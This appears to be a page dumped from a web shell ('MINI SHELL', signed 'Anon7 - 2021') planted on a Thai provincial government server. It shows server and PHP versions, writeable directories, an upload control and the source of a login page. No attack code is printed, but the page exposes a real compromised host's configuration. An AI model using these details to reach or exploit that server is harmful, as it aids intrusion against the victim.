MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/sar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/sar/login.php
<?   
session_start();
include ("../../inc/conndb.qpass.php")  ;

function MakeDate($d){
$monthname = array( "","มกราคม","กุมภาพันธ์","มีนาคม","เมษายน","พฤษภาคม","มิถุนายน", "กรกฎาคม","สิงหาคม","กันยายน","ตุลาคม","พฤศจิกายน","ธันวาคม");
	if (!$d) return "";
	
	$d1=explode("-",$d);
	return intval($d1[2]) . " " . $monthname[intval($d1[1])] . " " . (intval($d1[0])+543);
}

$result = mysql_query("select * from updateperiod limit 1");
$rs = mysql_fetch_assoc($result);

?>
<html>
<head>
<title>เข้าสู่ระบบฐานข้อมูล <?=$_SESSION[secname]?></title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<SCRIPT language=JavaScript>
function checkFields() {
	missinginfo1 = "";
	missinginfo = "";
	if (document.form1.user.value == "")  {	missinginfo1 += "\n        - User name ไม่สามารถเป็นค่าว่าง"; }		
	if(document.form1.pwd.value=="") { missinginfo1 += "\n        - Password ไม่สามารถเป็นช่องว่าง";  }
	
	if (missinginfo1 != "") { 
		missinginfo += "ไม่สามารถเข้าระบบได้  เนื่องจาก \n";
		missinginfo +="_____________________________\n";
		missinginfo = missinginfo + missinginfo1  ;
		missinginfo += "\n_____________________________";
		missinginfo += "\nกรุณาตรวจสอบ อีกครั้ง";
		alert(missinginfo);
		return false;
		}
	}
</SCRIPT>
<link href="../../common/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {color: #FFFFFF}
.style2 {	font-size: medium;
	font-weight: bold;
	color: #FFFFFF;
}
-->
</style>
</head>

<body bgcolor="#252968">

<br>
<table width="780" height="80" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td align="right" valign="middle" background="../../images_sys/logon.jpg"><span class="style2">login เข้าสู่ระบบฐานข้อมูล&nbsp;</span></td>
  </tr>
</table>
<table width="500" border="0" align="center" cellpadding="6" cellspacing="0">
  <tr>
    <td align="center"><span class="style1"></span></td>
  </tr>
</table>
<table width="500" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><form name="form1" method="post" action="../../application/admin/login.php"  onSubmit="return checkFields()"   >
      <table width="100%"  border="0" cellpadding="0" cellspacing="2">
        <tr>
          <td height="30" colspan="4" align="center"> <strong><font color="#FF3333">

<br>
		  </font></strong> </td>
          </tr>
        <tr>
          <td width="26%">&nbsp;</td>
          <td colspan="2"><span class="style3"><strong><font color="#FFFFFF">User name </font></strong></span></td>
          <td width="11%">&nbsp;</td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td width="2%">&nbsp;</td>
          <td width="61%" align="left"><input name="user" type="text" id="username2"></td>
          <td>&nbsp;</td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td colspan="2"><font color="#FFFFFF"><strong> Password</strong></font></td>
          <td>&nbsp;</td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td>&nbsp;</td>
          <td><table width="100%"  border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="39%" align="left" valign="top"><input name="pwd" type="password" id="password" size="15"></td>
                <td width="61%"><input name="Submit" type="submit" value="  GO  "></td>
              </tr>
          </table></td>
          <td>&nbsp;</td>
        </tr>
      </table>
<BR><BR>

<CENTER>
<FONT COLOR="#A0A0A0">
ท่านสามารถเข้ามาแก้ไขข้อมูลได้ตั้งแต่วันที่ <FONT COLOR="#E0E0E0"><?=MakeDate($rs[start])?></FONT> ถึงวันที่ <FONT COLOR="#E0E0E0"><?=MakeDate($rs[finish])?></FONT>
</FONT>
</CENTER>

    </form></td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021